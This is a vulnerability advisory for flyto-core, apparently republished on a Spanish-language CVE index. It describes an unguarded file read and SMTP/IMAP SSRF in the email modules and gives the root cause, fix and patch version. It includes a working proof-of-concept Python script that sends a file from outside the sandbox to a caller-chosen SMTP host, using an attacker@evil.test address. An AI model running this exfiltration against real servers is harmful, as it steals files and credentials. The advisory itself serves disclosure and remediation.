GHSA-X2QH-79WH-6W7J
Arbitrary host file read and SMTP/IMAP SSRF via unguarded email.send and email.read modules
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-X2QH-79WH-6W7J divulgada · CVSS 8.5 (GitHub) | |
| Remediación | Parche 2.28.1 | flyto-core · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
The default-allowed email.send and email.read modules accept a caller-chosen SMTP/IMAP host and caller-chosen attachment paths without applying any of the repository's two containment guards. A caller that can execute modules (any MCP client or API token holder, the untrusted principal in this product's threat model) can read any file the server process can read and exfiltrate it over email to a host it controls, and can point SMTP/IMAP connections, including operator environment credentials, at arbitrary internal targets.
### Affected
- Component: flyto-core atomic communication modules
- Files: src/core/modules/atomic/communication/email_send.py (lines 140-147, 158-166), src/core/modules/atomic/communication/email_read.py (line 141)
- Versions: v2.28.0 and earlier releases carrying these modules
- Deployment: default deployment; both modules are registered, not in the default denylist, and declare only non-dangerous permissions
### Root cause
email.send and email.read never call the two shared containment primitives. validate_path_with_env_config (the FLYTO_SANDBOX_DIR confinement) is absent from the attachments read at email_send.py:142, and enforce_outbound_host is absent from the smtplib connection at email_send.py:158 and the imaplib connection at email_read.py:141. The guarded twin notification.email.send (src/core/modules/third_party/communication/messaging/email.py:165) wraps its host in enforce_outbound_host, and every other network module (webhook.trigger, slack_send, redis, ping, port_scan, traceroute) reaches a shared guard. The registry-wide enforcement test tests/core/test_outbound_guard_coverage.py cannot see these gaps: it scans ModuleRegistry.get_all_metadata() with the default stability filter, which excludes these stability="beta" modules entirely, and its parameter-name regex reads literal keys in module source, so preset-defined host parameters (SMTP_HOST, IMAP_HOST) and list-valued parameters like attachments are invisible. The suite passes (36 passed) with both modules unguarded, while the execution paths (MCP tools/call and POST /v1/execute) reach the modules directly with no stability gate.
Reproduction
Environment
python3 -m venv /tmp/flyto-venv
/tmp/flyto-venv/bin/pip install -e . aiosmtpd
openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 1 -nodes -subj '/CN=poc'
export FLYTO_SANDBOX_DIR=/tmp/flyto-sandbox
mkdir -p /tmp/flyto-sandbox /tmp/flyto-outside
echo 'FLYTO-SECRET:ssh-key-content-abc123' > /tmp/flyto-outside/secret.txtProof of concept
# save as /tmp/poc_email.py and run with /tmp/flyto-venv/bin/python -u /tmp/poc_email.py
import asyncio, base64, os, ssl, sys
sys.path.insert(0, '/home/lab/flyto-core/src')
os.environ['FLYTO_SANDBOX_DIR'] = '/tmp/flyto-sandbox'
SECRET = open('/tmp/flyto-outside/secret.txt', 'rb').read()
captured = []
class Sink:
async def handle_DATA(self, server, session, envelope):
captured.append(bytes(envelope.content))
return '250 OK'
from aiosmtpd.controller import Controller
tls_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
tls_ctx.load_cert_chain('/tmp/cert.pem', '/tmp/key.pem')
controller = Controller(Sink(), hostname='0.0.0.0', port=10250, tls_context=tls_ctx)
controller.start()
async def main():
from core.modules import atomic
from core.modules.registry.core import ModuleRegistry
mod = ModuleRegistry.get('email.send')({
'smtp_host': '172.17.0.1', # RFC1918 private-range IP
'smtp_port': 10250,
'from_email': 'attacker@evil.test', 'to': 'attacker@evil.test',
'subject': 'exfil', 'body': 'x', 'use_tls': True,
'attachments': ['/tmp/flyto-outside/secret.txt'],
}, {})
res = await mod.run()
print('ok:', res.get('ok'))
print('exfiltrated:', base64.b64encode(SECRET).decode() in captured[-1].decode())
from core.utils import SSRFError
try:
m2 = ModuleRegistry.get('notification.email.send')({
'smtp_server': '172.17.0.1', 'smtp_port': 10250, 'username': 'u', 'password': 'p',
'from_email': 'a@b.c', 'to_email': 'd@e.f', 'subject': 's', 'body': 'b'}, {})
m2.validate_params()
except SSRFError as e:
print('guarded twin refuses:', str(e)[:60])
controller.stop()
asyncio.run(main())Observed result
ok: True
exfiltrated: True
guarded twin refuses: SSRF blocked: SMTP host '172.17.0.1' resolves to the private/link-local address 172.17.0.1...### Impact
- Any file readable by the server process can be exfiltrated to a caller-chosen SMTP server (SSH keys, .env files, cloud credentials, the auto-minted API token file).
- Caller-chosen SMTP/IMAP hosts reach internal mail and messaging services, bypassing the outbound host boundary.
- Operator environment credentials (SMTP_USER/SMTP_PASSWORD, IMAP_USER/IMAP_PASSWORD) are sent to the caller-chosen host.
- The same read primitive applies to every path regardless of FLYTO_SANDBOX_DIR, breaking the documented filesystem boundary.
### Fix
Apply both shared guards in the two modules. In email_send: validate every attachment path with validate_path_with_env_config before open, and pass smtp_host through enforce_outbound_host(purpose='SMTP') before connecting. In email_read: pass imap_host through enforce_outbound_host(purpose='IMAP'). Add regression tests that assert a sandbox-external attachment path and a private-range host are refused, and extend the coverage tests to resolve preset-defined parameter names.
## scoring-notes
- AV:N - reachable through the HTTP MCP/REST surface and remote MCP clients; AC:L - no special conditions.
- PR:L - module execution requires the bearer token (the low-privilege untrusted principal in this product's model); the token authorizes modules, not host access.
- S:C, C:H - arbitrary file read of secrets; I:L - forged email injection through internal SMTP relays; A:N.
- Anchor: repository precedent rates the same containment classes High (GHSA-wc94-386q-5478 file read High; GHSA-pgwh-4jj4-qm8v emitter SSRF High); this finding combines both boundaries plus exfiltration and env-credential theft.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiflyto-core |
Corregida | 2.28.1 | 0 d | 2.41.0 no afectada |
2.28.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/flytohub/flyto-core/security/advisories/GHSA-x2qh-79wh-6w7jLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
